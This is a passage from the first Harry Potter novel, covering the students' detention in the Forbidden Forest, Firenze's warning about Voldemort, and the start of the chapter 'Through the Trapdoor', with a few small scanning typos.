alibis, and wild cover- up stories chased each +other around Harry's brain, each more feeble than the last. He couldn't +see how they were going to get out of trouble this time. They were +cornered. How could they have been so stupid as to forget the cloak? +There was no reason on earth that Professor McGonagall would accept for +their being out of bed and creeping around the school in the dead of +night, let alone being up the tallest astronomy tower, which was +out-of-bounds except for classes. Add Norbert and the invisibility +cloak, and they might as well be packing their bags already. + +Had Harry thought that things couldn't have been worse? He was wrong. +When Professor McGonagall appeared, she was leading Neville. + +"Harry!" Neville burst Out, the moment he saw the other two. "I was +trying to find you to warn you, I heard Malfoy saying he was going to +catch you, he said you had a drag --" + +Harry shook his head violently to shut Neville up, but Professor +McGonagall had seen. She looked more likely to breathe fire than Norbert +as she towered over the three of them. + +"I would never have believed it of any of you. Mr. Filch says you were +up in the astronomy tower. It's one o'clock in the morning. Explain +yourselves." + +It was the first time Hermione had ever failed to answer a teacher's +question. She was staring at her slippers, as still as a statue. + +"I think I've got a good idea of what's been going on," said Professor +McGonagall. "It doesn't take a genius to work it out. You fed Draco +Malfoy some cock-and-bull story about a dragon, trying to get him out of +bed and into trouble. I've already caught him. I suppose you think it's +funny that Longbottom here heard the story and believed it, too?" + +Harry caught Neville's eye and tried to tell him without words that this +wasn't true, because Neville was looking stunned and hurt. Poor, +blundering Neville -- Harry knew what it must have cost him to try and +find them in the dark, to warn them. + +"I'm disgusted," said Professor McGonagall. "Four students out of bed in +one night! I've never heard of such a thing before! You, Miss Granger, I +thought you had more sense. As for you, Mr. Potter, I thought Gryffindor +meant more to you than this. All three of you will receive detentions -- +yes, you too, Mr. Longbottom, nothing gives you the right to walk around +school at night, especially these days, it's very dangerous -- and fifty +points will be taken from Gryffindor." + +"Fifty?" Harry gasped -- they would lose the lead, the lead he'd won in +the last Quidditch match. + +"Fifty points each," said Professor McGonagall, breathing heavily +through her long, pointed nose. + +"Professor -- please + +"You can't --" + +"Don't tell me what I can and can't do, Potter. Now get back to bed, all +of you. I've never been more ashamed of Gryffindor students." + +A hundred and fifty points lost. That put Gryffindor in last place. In +one night, they'd ruined any chance Gryffindor had had for the house +cup. Harry felt as though the bottom had dropped out of his stomach. How +could they ever make up for this? + +Harry didn't sleep all night. He could hear Neville sobbing into his +pillow for what seemed like hours. Harry couldn't think of anything to +say to comfort him. He knew Neville, like himself, was dreading the +dawn. What would happen when the rest of Gryffindor found out what +they'd done? + +At first, Gryffindors passing the giant hourglasses that recorded the +house points the next day thought there'd been a mistake. How could they +suddenly have a hundred and fifty points fewer than yesterday? And then +the story started to spread: Harry Potter, the famous Harry Potter, +their hero of two Quidditch matches, had lo st them all those points, +him and a couple of other stupid first years. + +From being one of the most popular and admired people at the school, +Harry was suddenly the most hated. Even Ravenclaws and Hufflepuffs +turned on him, because everyone had been longing to see Slytherin lose +the house cup. Everywhere Harry went, people pointed and didn't trouble +to lower their voices as they insulted him. Slytherins, on the other +hand, clapped as he walked past them, whistling and cheering, "Thanks +Potter, we owe you one!" + +Only Ron stood by him. + +"They'll all forget this in a few weeks. Fred and George have lost loads +of points in all the time they've been here, and people still like +them." + +"They've never lost a hundred and fifty points in one go, though, have +they?" said Harry miserably. + +"Well -- no," Ron admitted. + +It was a bit late to repair the damage, but Harry swore to himself not +to meddle in things that weren't his business from now on. He'd had it +with sneaking around and spying. He felt so ashamed of himself that he +went to Wood and offered to resign from the Quidditch team. + +"Resign?" Wood thundered. "What good'll that do? How are we going to get +any points back if we can't win at Quidditch?" + +But even Quidditch had lost its fun. The rest of the team wouldn't speak +to Harry during practice, and if they had to speak about him, they +called him "the Seeker." + +Hermione and Neville were suffering, too. They didn't have as bad a time +as Harry, because they weren't as well-known, but nobody would speak to +them, either. Hermione had stopped drawing attention to herself in +class, keeping her head down and working in silence. + +Harry was almost glad that the exams weren't far away. All the studying +he had to do kept his mind off his misery. He, Ron, and Hermione kept to +themselves, working late into the night, trying to remember the +ingredients in complicated potions, learn charms and spells by heart, +memorize the dates of magical discoveries and goblin rebellions.... + +Then, about a week before the exams were due to start, Harry's new +resolution not to interfere in anything that didn't concern him was put +to an unexpected test. Walking back from the library on his own one +afternoon, he heard somebody whimpering from a classroom up ahead. As he +drew closer, he heard Quirrell's voice. + +"No -- no -- not again, please --" + +It sounded as though someone was threatening him. Harry moved closer. + +"All right -- all right --" he heard Quirrell sob. + +Next second, Quirrell came hurrying out of the classroom straightening +his turban. He was pale and looked as though he was about to cry. He +strode out of sight; Harry didn't think Quirrell had even noticed him. +He waited until Quirrell's footsteps had disappeared, then peered into +the classroom. It was empty, but a door stood ajar at the other end. +Harry was halfway toward it before he remembered what he'd promised +himself about not meddling. + +All the same, he'd have gambled twelve Sorcerer's Stones that Snape had +just left the room, and from what Harry had just heard, Snape would be +walking with a new spring in his step -- Quirrell seemed to have given +in at last. + +Harry went back to the library, where Hermione was testing Ron on +Astronomy. Harry told them what he'd heard. + +"Snape's done it, then!" said Ron. "If Quirrell's told him how to break +his Anti-Dark Force spell --" + +"There's still Fluffy, though," said Hermione. + +"Maybe Snape's found out how to get past him without asking Hagrid," +said Ron, looking up at the thousands of books surrounding them. "I bet +there's a book somewhere in here telling you how to get past a giant +three-headed dog. So what do we do, Harry?" + +The light of adventure was kindling again in Ron's eyes, but Hermione +answered before Harry could. + +"Go to Dumbledore. That's what we should have done ages ago. If we try +anything ourselves we'll be thrown out for sure." + +"But we've got no proof!" said Harry. "Quirrell's too scared to back us +up. Snape's only got to say he doesn't know how the troll got in at +Halloween and that he was nowhere near the third floor -- who do you +think they'll believe, him or us? It's not exactly a secret we hate him, +Dumbledore'll think we made it up to get him sacked. Filch wouldn't help +us if his life depended on it, he's too friendly with Snape, and the +more students get thrown out, the better, he'll think. And don't forget, +we're not supposed to know about the Stone or Fluffy. That'll take a lot +of explaining." + +Hermione looked convinced, but Ron didn't. + +"If we just do a bit of poking around --" + +"No," said Harry flatly, "we've done enough poking around." + +He pulled a map of Jupiter toward him and started to learn the names of +its moons. + +The following morning, notes were delivered to Harry, Hermione, and +Neville at the breakfast table. They were all the same: + +Your detention will take place at eleven o'clock tonight. Meet Mr. Filch +in the entrance hall. + +Professor McGonagall Harry had forgotten they still had detentions to do +in the furor over the points they'd lost. He half expected Hermione to +complain that this was a whole night of studying lost, but she didn't +say a word. Like Harry, she felt they deserved what they'd got. + +At eleven o'clock that night, they said good-bye to Ron in the common +room and went down to the entrance hall with Neville. Filch was already +there -- and so was Malfoy. Harry had also forgotten that Malfoy had +gotten a detention, too. + +"Follow me," said Filch, lighting a lamp and leading them outside. + +I bet you'll think twice about breaking a school rule again, won't you, +eh?" he said, leering at them. "Oh yes... hard work and pain are the +best teachers if you ask me.... It's just a pity they let the old +punishments die out... hang you by your wrists from the ceiling for a +few days, I've got the chains still in my office, keep 'em well oiled in +case they're ever needed.... Right, off we go, and don't think of +running off, now, it'll be worse for you if you do." + +They marched off across the dark grounds. Neville kept sniffing. Harry +wondered what their punishment was going to be. It must be something +really horrible, or Filch wouldn't be sounding so delighted. + +The moon was bright, but clouds scudding across it kept throwing them +into darkness. Ahead, Harry could see the lighted windows of Hagrid's +hut. Then they heard a distant shout. + +"Is that you, Filch? Hurry up, I want ter get started." + +Harry's heart rose; if they were going to be working with Hagrid it +wouldn't be so bad. His relief must have showed in his -face, because +Filch said, "I suppose you think you'll be enjoying yourself with that +oaf? Well, think again, boy -- it's into the forest you're going and I'm +much mistaken if you'll all come out in one piece." + +At this, Neville let out a little moan, and Malfoy stopped dead in his +tracks. + +"The forest?" he repeated, and he didn't sound quite as cool as usual. +"We can't go in there at night -- there's all sorts of things in there +-- werewolves, I heard." + +Neville clutched the sleeve of Harry's robe and made a choking noise. + +"That's your problem, isn't it?" said Filch, his voice cracking with +glee. "Should've thought of them werewolves before you got in trouble, +shouldn't you?" + +Hagrid came striding toward them out of the dark, Fang at his heel. He +was carrying his large crossbow, and a quiver of arrows hung over his +shoulder. + +"Abou' time," he said. "I bin waitin' fer half an hour already. All +right, Harry, Hermione?" + +"I shouldn't be too friendly to them, Hagrid," said Filch coldly, +they're here to be punished, after all." + +"That's why yer late, is it?" said Hagrid, frowning at Filch. "Bin +lecturin' them, eh? 'Snot your place ter do that. Yeh've done yer bit, +I'll take over from here." + +"I'll be back at dawn," said Filch, "for what's left of them," he added +nastily, and he turned and started back toward the castle, his lamp +bobbing away in the darkness. + +Malfoy now turned to Hagrid. + +"I'm not going in that forest, he said, and Harry was pleased to hear +the note of panic in his voice. + +"Yeh are if yeh want ter stay at Hogwarts," said Hagrid fiercely. +"Yeh've done wrong an' now yehve got ter pay fer it." + +"But this is servant stuff, it's not for students to do. I thought we'd +be copying lines or something, if my father knew I was doing this, he'd + +tell yer that's how it is at Hogwarts," Hagrid growled. "Copyin' lines! +What good's that ter anyone? Yeh'll do summat useful or Yeh'll get out. +If yeh think yer father'd rather you were expelled, then get back off +ter the castle an' pack. Go on"' + +Malfoy didn't move. He looked at Hagrid furiously, but then dropped his +gaze. + +"Right then," said Hagrid, "now, listen carefully, 'cause it's dangerous +what we're gonna do tonight, an' I don' want no one takin' risks. Follow +me over here a moment." + +He led them to the very edge of the forest. Holding his lamp up high, he +pointed down a narrow, winding earth track that disappeared into the +thick black trees. A light breeze lifted their hair as they looked into +the forest. + +"Look there," said Hagrid, "see that stuff shinin' on the ground? +Silvery stuff? That's unicorn blood. There's a unicorn in there bin hurt +badly by summat. This is the second time in a week. I found one dead +last Wednesday. We're gonna try an' find the poor thing. We might have +ter put it out of its misery." + +"And what if whatever hurt the unicorn finds us first?" said Malfoy, +unable to keep the fear out of his voice. + +"There's nothin' that lives in the forest that'll hurt yeh if yer with +me or Fang," said Hagrid. "An' keep ter the path. Right, now, we're +gonna split inter two parties an' follow the trail in diff'rent +directions. There's blood all over the place, it must've bin staggerin' +around since last night at least." + +"I want Fang," said Malfoy quickly, looking at Fang's long teeth. + +"All right, but I warn yeh, he's a coward," said Hagrid. " So me, Harry, +an' Hermione'll go one way an' Draco, Neville, an' Fang'll go the other. +Now, if any of us finds the unicorn, we'll send up green sparks, right? +Get yer wands out an' practice now -- that's it -- an' if anyone gets in +trouble, send up red sparks, an' we'll all come an' find yeh -- so, be +careful -- let's go." + +The forest was black and silent. A little way into it they reached a +fork in the earth path, and Harry, Hermione, and Hagrid took the left +path while Malfoy, Neville, and Fang took the right. + +They walked in silence, their eyes on the ground. Every now and then a +ray of moonlight through the branches above lit a spot of silver-blue +blood on the fallen leaves. + +Harry saw that Hagrid looked very worried. + +"Could a werewolf be killing the unicorns?" Harry asked. + +"Not fast enough," said Hagrid. "It's not easy ter catch a unicorn, +they're powerful magic creatures. I never knew one ter be hurt before." + +They walked past a mossy tree stump. Harry could hear running water; +there must be a stream somewhere close by. There were still spots of +unicorn blood here and there along the winding path. + +"You all right, Hermione?" Hagrid whispered. "Don' worry, it can't've +gone far if it's this badly hurt, an' then we'll be able ter -- GET +BEHIND THAT TREE!" + +Hagrid seized Harry and Hermione and hoisted them off the path behind a +towering oak. He pulled out an arrow and fitted it into his crossbow, +raising it, ready to fire. The three of them listened. Something was +slithering over dead leaves nearby: it sounded like a cloak trailing +along the ground. Hagrid was squinting up the dark path, but after a few +seconds, the sound faded away. + +"I knew it, " he murmured. "There's summat in here that shouldn' be." + +"A werewolf?" Harry suggested. + +"That wasn' no werewolf an' it wasn' no unicorn, neither," said Hagrid +grimly. "Right, follow me, but careful, now." + +They walked more slowly, ears straining for the faintest sound. +Suddenly, in a clearing ahead, something definitely moved. + +"Who's there?" Hagrid called. "Show yerself -- I'm armed!" + +And into the clearing came -- was it a man, or a horse? To the waist, a +man, with red hair and beard, but below that was a horse's gleaming +chestnut body with a long, reddish tail. Harry and Hermione's jaws +dropped. + +"Oh, it's you, Ronan," said Hagrid in relief. "How are yeh?" + +He walked forward and shook the centaur's hand. + +"Good evening to you, Hagrid," said Ronan. He had a deep, sorrowful +voice. "Were you going to shoot me?" + +"Can't be too careful, Ronan," said Hagrid, patting his crossbow. +"There's summat bad loose in this forest. This is Harry Potter an' +Hermione Granger, by the way. Students up at the school. An' this is +Ronan, you two. He's a centaur.)) + +"We'd noticed," said Hermione faintly. + +"Good evening," said Ronan. "Students, are you? And do you learn much, +up at the school?" + +"Erm --" + +"A bit," said Hermione timidly. + +"A bit. Well, that's something." Ronan sighed. He flung back his head +and stared at the sky. "Mars is bright tonight." + +"Yeah," said Hagrid, glancing up, too. "Listen, I'm glad we've run inter +yeh, Ronan, 'cause there's a unicorn bin hurt -- you seen anythin'?" + +Ronan didn't answer immediately. He stared unblinkingly upward, then +sighed again. + +"Always the innocent are the first victims," he said. "So it has been +for ages past, so it is now." + +"Yeah," said Hagrid, "but have yeh seen anythin', Ronan? Anythin' +unusual?" + +"Mars is bright tonight," Ronan repeated, while Hagrid watched him +impatiently. "Unusually bright." + +"Yeah, but I was meanin' anythin' unusual a bit nearer home, said +Hagrid. "So yeh haven't noticed anythin' strange?" + +Yet again, Ronan took a while to answer. At last, he said, "The forest +hides many secrets." + +A movement in the trees behind Ronan made Hagrid raise his bow again, +but it was only a second centaur, black-haired and -bodied and +wilder-looking than Ronan. + +"Hullo, Bane," said Hagrid. "All right?" + +"Good evening, Hagrid, I hope you are well?" + +"Well enough. Look, I've jus' bin askin' Ronan, you seen anythin' odd in +here lately? There's a unicorn bin injured -- would yeh know anythin' +about it?" + +Bane walked over to stand next to Ronan. He looked skyward. "Mars is +bright tonight," he said simply. + +"We've heard," said Hagrid grumpily. "Well, if either of you do see +anythin', let me know, won't yeh? We'll be off, then." + +Harry and Hermione followed him out of the clearing, staring over their +shoulders at Ronan and Bane until the trees blocked their view. + +"Never," said Hagrid irritably, "try an' get a straight answer out of a +centaur. Ruddy stargazers. Not interested in anythin' closer'n the +moon." + +"Are there many of them in here?" asked Hermione. + +"Oh, a fair few... Keep themselves to themselves mostly, but they're +good enough about turnin' up if ever I want a word. They're deep, mind, +centaurs... they know things... jus' don' let on much." + +"D'you think that was a centaur we heard earlier?" said Harry. + +"Did that sound like hooves to you? Nah, if yeh ask me, that was what's +bin killin' the unicorns -- never heard anythin' like it before." + +They walked on through the dense, dark trees. Harry kept looking +nervously over his shoulder. He had the nasty feeling they were being +watched. He was very glad they had Hagrid and his crossbow with them. +They had just passed a bend in the path when Hermione grabbed Hagrid's +arm. + +"Hagrid! Look! Red sparks, the others are in trouble!" + +"You two wait here!" Hagrid shouted. "Stay on the path, I'll come back +for yeh!" + +They heard him crashing away through the undergrowth and stood looking +at each other, very scared, until they couldn't hear anything but the +rustling of leaves around them. + +"You don't think they've been hurt, do you?" whispered Hermione. + +"I don't care if Malfoy has, but if something's got Neville... it's our +fault he's here in the first place." + +The minutes dragged by. Their ears seemed sharper than usual. Harry's +seemed to be picking up every sigh of the wind, every cracking twig. +What was going on? Where were the others? + +At last, a great crunching noise announced Hagrid's return. Malfoy, +Neville, and Fang were with him. Hagrid was fuming. Malfoy, it seemed, +had sneaked up behind Neville and grabbed him as a joke. Neville had +panicked and sent up the sparks. + +"We'll be lucky ter catch anythin' now, with the racket you two were +makin'. Right, we're changin' groups -- Neville, you stay with me an' +Hermione, Harry, you go with Fang an' this idiot. I'm sorry," Hagrid +added in a whisper to Harry, "but he'll have a harder time frightenin' +you, an' we've gotta get this done." + +So Harry set off into the heart of the forest with Malfoy and Fang. They +walked for nearly half an hour, deeper and deeper into the forest, until +the path became almost impossible to follow because the trees were so +thick. Harry thought the blood seemed to be getting thicker. There were +splashes on the roots of a tree, as though the poor creature had been +thrashing around in pain close by. Harry could see a clearing ahead, +through the tangled branches of an ancient oak. + +"Look --" he murmured, holding out his arm to stop Malfoy. + +Something bright white was gleaming on the ground. They inched closer. + +It was the unicorn all right, and it was dead. Harry had never seen +anything so beautiful and sad. Its long, slender legs were stuck out at +odd angles where it had fallen and its mane was spread pearly-white on +the dark leaves. + +Harry had taken one step toward it when a slithering sound made him +freeze where he stood. A bush on the edge of the clearing quivered.... +Then, out of the shadows, a hooded figure came crawling across the +ground like some stalking beast. Harry, Malfoy, and Fang stood +transfixed. The cloaked figure reached the unicorn, lowered its head +over the wound in the animal's side, and began to drink its blood. + +"AAAAAAAAAARGH!" + +Malfoy let out a terrible scream and bolted -- so did Fang. The hooded +figure raised its head and looked right at Harry -- unicorn blood was +dribbling down its front. It got to its feet and came swiftly toward +Harry -- he couldn't move for fear. + +Then a pain like he'd never felt before pierced his head; it was as +though his scar were on fire. Half blinded, he staggered backward. He +heard hooves behind him, galloping, and something jumped clean over +Harry, charging at the figure. + +The pain in Harry's head was so bad he fell to his knees. It took a +minute or two to pass. When he looked up, the figure had gone. A centaur +was standing over him, not Ronan or Bane; this one looked younger; he +had white-blond hair and a palomino body. + +"Are you all right?" said the centaur, pulling Harry to his feet. + +"Yes -- thank you -- what was that?" + +The centaur didn't answer. He had astonishingly blue eyes, like pale +sapphires. He looked carefully at Harry, his eyes lingering on the scar +that stood out, livid, on Harry's forehead. + +"You are the Potter boy," he said. "You had better get back to Hagrid. +The forest is not safe at this time -- especially for you. Can you ride? +It will be quicker this way. + +"My name is Firenze," he added, as he lowered himself on to his front +legs so that Harry could clamber onto his back. + +There was suddenly a sound of more galloping from the other side of the +clearing. Ronan and Bane came bursting through the trees, their flanks +heaving and sweaty. + +"Firenze!" Bane thundered. "What are you doing? You have a human on your +back! Have you no shame? Are you a common mule?" + +"Do you realize who this is?" said Firenze. "This is the Potter boy. The +quicker he leaves this forest, the better." + +"What have you been telling him?" growled Bane. "Remember, Firenze, we +are sworn not to set ourselves against the heavens. Have we not read +what is to come in the movements of the planets?" + +Ronan pawed the ground nervously. "I'm sure Firenze thought he was +acting for the best, " he said in his gloomy voice. + +Bane kicked his back legs in anger. + +"For the best! What is that to do with us? Centaurs are concerned with +what has been foretold! It is not our business to run around like +donkeys after stray humans in our forest!" + +Firenze suddenly reared on to his hind legs in anger, so that Harry had +to grab his shoulders to stay on. + +"Do you not see that unicorn?" Firenze bellowed at Bane. "Do you not +understand why it was killed? Or have the planets not let you in on that +secret? I set myself against what is lurking in this forest, Bane, yes, +with humans alongside me if I must." + +And Firenze whisked around; with Harry clutching on as best he could, +they plunged off into the trees, leaving Ronan and Bane behind them. + +Harry didn't have a clue what was going on. + +"Why's Bane so angry?" he asked. "What was that thing you saved me from, +anyway?" + +Firenze slowed to a walk, warned Harry to keep his head bowed in case of +low-hanging branches, but did not answer Harry's question. They made +their way through the trees in silence for so long that Harry thought +Firenze didn't want to talk to him anymore. They were passing through a +particularly dense patch of trees, however, when Firenze suddenly +stopped. + +"Harry Potter, do you know what unicorn blood is used -for?" + +"No," said Harry, startled by the odd question. "We've only used the +horn and tail hair in Potions." + +"That is because it is a monstrous thing, to slay a unicorn," said +Firenze. "Only one who has nothing to lose, and everything to gain, +would commit such a crime. The blood of a unicorn will keep you alive, +even if you are an inch from death, but at a terrible price. You have +slain something pure and defenseless to save yourself, and you will have +but a half-life, a cursed life, from the moment the blood touches your +lips." + +Harry stared at the back of Firenze's head, which was dappled silver in +the moonlight. + +"But who'd be that desperate?" he wondered aloud. "If you're going to be +cursed forever, deaths better, isn't it?" + +"It is," Firenze agreed, "unless all you need is to stay alive long +enough to drink something else -- something that will bring you back to +full strength and power -- something that will mean you can never die. +Mr. Potter, do you know what is hidden in the school at this very +moment?" + +"The Sorcerer's Stone! Of course -- the Elixir of Life! But I don't +understand who --" + +"Can you think of nobody who has waited many years to return to power, +who has clung to life, awaiting their chance?" + +It was as though an iron fist had clenched suddenly around Harry's +heart. Over the rustling of the trees, he seemed to hear once more what +Hagrid had told him on the night they had met: "Some say he died. +Codswallop, in my opinion. Dunno if he had enough human left in him to +die." + +"Do you mean," Harry croaked, "that was Vol-" + +"Harry! Harry, are you all right?" + +Hermione was running toward them down the path, Hagrid puffing along +behind her. + +"I'm fine," said Harry, hardly knowing what he was saying. "The +unicorn's dead, Hagrid, it's in that clearing back there." + +"This is where I leave you," Firenze murmured as Hagrid hurried off to +examine the unicorn. "You are safe now." + +Harry slid off his back. + +"Good luck, Harry Potter," said Firenze. "The planets have been read +wrongly before now, even by centaurs. I hope this is one of those +times." + +He turned and cantered back into the depths of the forest, leaving Harry +shivering behind him. + +Ron had fallen asleep in the dark common room, waiting for them to +return. He shouted something about Quidditch fouls when Harry roughly +shook him awake. In a matter of seconds, though, he was wide-eyed as +Harry began to tell him and Hermione what had happened in the forest. + +Harry couldn't sit down. He paced up and down in front of the fire. He +was still shaking. + +"Snape wants the stone for Voldemort... and Voldemort's waiting in the +forest... and all this time we thought Snape just wanted to get +rich...." + +"Stop saying the name!" said Ron in a terrified whisper, as if he +thought Voldemort could hear them. + +Harry wasn't listening. + +"Firenze saved me, but he shouldn't have done so.... Bane was furious... +he was talking about interfering with what the planets say is going to +happen.... They must show that Voldemort's coming back.... Bane thinks +Firenze should have let Voldemort kill me.... I suppose that's written +in the stars as well." + +"Will you stop saying the name!" Ron hissed. + +"So all I've got to wait for now is Snape to steal the Stone," Harry +went on feverishly, "then Voldemort will be able to come and finish me +off... Well, I suppose Bane'll be happy." + +Hermione looked very frightened, but she had a word of comfort. + +"Harry, everyone says Dumbledore's the only one You-Know-Who was ever +afraid of With Dumbledore around, You-Know-Who won't touch you. Anyway, +who says the centaurs are right? It sounds like fortune-telling to me, +and Professor McGonagall says that's a very imprecise branch of magic." + +The sky had turned light before they stopped talking. They went to bed +exhausted, their throats sore. But the night's surprises weren't over. + +When Harry pulled back his sheets, he found his invisibility cloak +folded neatly underneath them. There was a note pinned to it: + +Just in case. + + +CHAPTER SIXTEEN + +THROUGH THE TRAPDOOR + +In years to come, Harry would never quite remember how he had managed to +get through his exams when he half expected Voldemort to come bursting +through the door at any moment. Yet the days crept by, and there could +be no doubt that Fluffy was still alive and well behind the locked door. + +It was sweltering hot, especially in the large classroom where they did +their written papers. They had been given special, new quills for the +exams, which had been bewitched with an AntiCheating spell. + +They had practical exams as well. Professor Flitwick called them one by +one into his class to see if they could make a pineapple tapdance across +a desk. Professor McGonagall watched them turn a mouse into a snuffbox +-- points were given for how pretty the snuffbox was, but taken away if +it had whiskers. Snape made them all nervous, breathing down their necks +while they tried to remember how to make a Forgetfulness potion. + +Harry did the best he could, trying to ignore the stabbing pains in his +forehead, which had been bothering him ever since his trip into the +forest. Neville thought Harry had a bad case of exam nerves because +Harry couldn't sleep, but the truth was that Harry kept being woken by +his old nightmare, except that it was now worse than ever because there +was a hooded figure dripping blood in it. + +Maybe it was because they hadn't seen what Harry had seen in the forest, +or because they didn't have scars burning on their foreheads, but Ron +and Hermione didn't seem as worried about the Stone as Harry. The idea +of Voldemort certainly scared them, but he didn't keep visiting them in +dreams, and they were so busy with their studying they didn't have much +time to fret about what Snape or anyone else might be up to. + +Their very last exam was History of Magic. One hour of answering +questions about batty old wizards who'd invented selfstirring cauldrons +and they'd be free, free for a whole wonderful week until their exam +results came out. When the ghost of Professor Binns told them to put +down their quills and roll up their parchment, Harry couldn't help +cheering with the rest. + +"That was far easier than I thought it would be," said Hermione as they +joined the crowds flocking out onto the sunny grounds. "I needn't have +learned about the 1637 Werewolf Code of Conduct or the uprising of +Elfric the Eager." + +Hermione always liked to go through their exam papers afterward, but Ron +said this made him feel ill, so they wandered down to the lake and +flopped under a tree. The Weasley twins and Lee Jordan were tickling the +tentacles of a giant squid, which was basking in the warm shallows. "No +more studying," Ron sighed happily, stretching out on the grass. "You +could look more cheerful, Harry, we've got a week before we find out how +badly we've done, there's no need to worry yet." + +Harry was rubbing his forehead. + +"I wish I knew what this means!" he burst out angrily. "My scar keeps +hurting -- it's happened before, but never as often as this." + +"Go to Madam Pomfrey," Hermione suggested. + +"I'm not ill," said Harry. "I think it's a warning... it means danger's +coming...." + +Ron couldn't get worked up, it was too hot. + +"Harry, relax, Hermione's right, the Stone's safe as long as +Dumbledore's around. Anyway, we've never had any proof Snape found out +how to get past Fluffy. He nearly had his leg ripped off once, he's not +going to try it again in a hurry. And Neville will play Quidditch for +England before Hagrid lets Dumbledore down." + +Harry nodded, but he couldn't shake off a lurking feeling that there was +something he'd forgotten to do, something important. When he tried to +explain this, Hermione said, "That's just the exams. I woke up last +night and was halfway through my Transfiguration notes before I +remembered we'd done that one." + +Harry was quite sure the unsettled feeling didn't have anything to do +with work, though. He watched an owl flutter toward the school across +the bright blue sky, a note clamped in its mouth. Hagrid was the only +one who ever sent him letters. Hagrid would never betray Dumbledore. +Hagrid would never tell anyone how to get past Fluffy... never... but -- + +Harry suddenly jumped to his feet. + +"Where're you going?" said Ron sleepily. + +"I've just thought of something," said Harry. He had turned white. +"We've got to go and see Hagrid, now." + +"Why?" panted Hermione, hurrying to keep up. + +"Don't you think it's a bit odd," said Harry, scrambling up the grassy +slope, "that what Hagrid wants more than anything else is a dragon, and +a stranger turns up who just happens to have an egg in his pocket? How +many people wander around with dragon eggs if it's against wizard law? +Lucky they found Hagrid, don't you think? Why didn't I see it before?" + +"What are you talking about?" said Ron, but Harry, sprinting across the +grounds toward the forest, didn't answer. + +Hagrid was sitting in an armchair outside his house; his trousers and +sleeves were rolled up, and he was shelling peas into a large bowl. + +"Hullo," he said, smiling. "Finished yer exams? Got time fer a drink?" + +"Yes, please," said Ron, but Harry cut him off. + +"No, we're in a hurry. Hagrid, I've got to ask you something. You know +that night you won Norbert? What did the stranger you were playing cards +with look like?" + +"Dunno," said Hagrid casually, "he wouldn' take his cloak off." + +He saw the three of them look stunned and raised his eyebrows. + +"It's not that unusual, yeh get a lot o' funny folk in the Hog's Head -- +that's the pub down in the village. Mighta bin a dragon dealer, mightn' +he? I never saw his face, he kept his hood up." + +Harry sank down next to the bowl of peas. "What did you talk to him +about, Hagrid? Did you mention Hogwarts at all?" + +"Mighta come up," said Hagrid, frowning as he tried to remember. +"Yeah... he asked what I did, an' I told him I was gamekeeper here.... +He asked a bit about the sorta creatures I took after... so I told +him... an' I said what I'd always really wanted was a dragon... an' +then... I can' remember too well, 'cause he kept buyin' me drinks.... +Let's see... yeah, then he said he had the dragon egg an' we could play +cards fer it if I wanted... but he had ter be sure I could handle it, he +didn' want it ter go ter any old home.... So I told him, after Fluffy, a +dragon would be easy..." + +"And did he -- did he seem interested in Fluffy?" Harry asked, try ing +to keep his voice calm. + +"Well -- yeah -- how many three-headed dogs d'yeh meet, even around +Hogwarts? So I told him, Fluffy's a piece o' cake if yeh know how to +calm him down, jus' play him a bit o' music an' he'll go straight off +ter sleep --" + +Hagrid suddenly looked horrified. + +"I shouldn'ta told yeh that!" he blurted out. "Forget I said it! Hey -- +where're yeh goin'?" + +Harry, Ron, and Hermione didn't speak to each other at all until they +came to a halt in the entrance hall, which seemed very cold and gloomy +after the grounds. + +"We've got to go to Dumbledore," said Harry. "Hagrid told that stranger +how to get past Fluffy, and it was either Snape or Voldemort under that +cloak -- it must've been easy, once he'd got Hagrid drunk. I just hope +Dumbledore believes us. Firenze might back us up if Bane doesn't stop +him. Where's Dumbledore's office?" + +They looked around, as if hoping to see a sign pointing them in the +right direction. They had never been told where Dumbledore lived, nor +did they know anyone who had been sent to see him. + +"We'll just have to --" Harry began, but a voice suddenly rang across +the hall. + +"What are you three doing inside?" + +It was Professor McGonagall, carrying a large pile of books. + +"We want to see Professor Dumbledore," said Hermione, rather bravely, +Harry and Ron thought. + +"See Professor Dumbledore?" Professor McGonagall repeated, as though +this was a very fishy thing to want to do. "Why?" + +Harry swallowed -- now what? + +"It's sort of secret," he said, but he wished at once he hadn't, because +Professor McGonagall's nostrils flared. + +"Professor Dumbledore left ten minutes ago," she said coldly. "He +received an urgent owl from the Ministry of Magic and flew off for +London at once." + +"He's gone?" said Harry frantically. "Now?" + +"Professor Dumbledore is a very great wizard, Potter, he has many +demands on his time -- + +"But this is important." + +"Something you have to say is more important than the Ministry of Magic, +Potter. + +"Look," said Harry, throwing caution to the winds, "Professor -- it's +about the Sorcerer's tone --" + +Whatever Professor McGonagall had expected, it wasn't that. The books +she was carrying tumbled out of her arms, but she didn't pick them up. +"How do you know --?" she spluttered. + +"Professor, I think -- I know -- that Sn- that someone's going to try +and steal the Stone. I've got to talk to Professor Dumbledore." + +She eyed him with a mixture of shock and suspicion. + +"Professor Dumbledore will be back tomorrow," she said finally. I don't +know how you found out about the Stone, but rest assured, no one can +possibly steal it, it's too well protected." + +"But Professor --" + +"Potter, I know what I'm talking about," she said shortly. She bent down +and gathered up the fallen books. I suggest you all go back outside and +enjoy the sunshine." + +But they didn't. + +"It's tonight," said Harry, once he was sure Professor McGonagall was +out of earshot. "Snape's going through the trapdoor tonight. He's found +out everything he needs, and now he's got Dumbledore out of the way. He +sent that note, I bet the Ministry of Magic will get a real shock when +Dumbledore turns up." + +"But what can we --" + +Hermione gasped. Harry and Ron wheeled round. + +Snape was standing there. + +"Good afternoon," he said smoothly. + +They stared at him. + +"You shouldn't be inside on a day like this," he said, with an odd, +twisted smile. + +"We were --" Harry began, without any idea what he was going to say. + +"You want to be more careful," said Snape. "Hanging around + +like this, people will think you're up to something. And Gryffindor +really can't afford to lose any more points, can it?" + +Harry flushed. They turned to go outside, but Snape called them back. + +"Be warned, Potter -- any more nighttime wanderings and I will +personally make sure you are expelled. Good day to you." + +He strode off in the direction of the staffroom. + +Out on the stone steps, Harry turned to the others. + +"Right, here's what we've got to do," he whispered urgently. "One of us +has got to keep an eye on Snape -- wait outside the staff room and +follow him if he leaves it. Hermione, you'd better do that." + +"Why me?" + +"It's obvious," said Ron. "You can pretend to be waiting for Professor +Flitwick, you know." He put on a high voice, "'Oh Professor Flitwick, +I'm so worried, I think I got question fourteen b wrong....'" + +"Oh, shut up," said Hermione, but she agreed to go and watch out for +Snape. + +"And we'd better stay outside the third-floor corridor," Harry told Ron. +"Come on." + +But that part of the plan didn't work. No sooner had they reached the +door separating Fluffy from the rest of the school than Professor +McGonagall turned up again and this time, she lost her 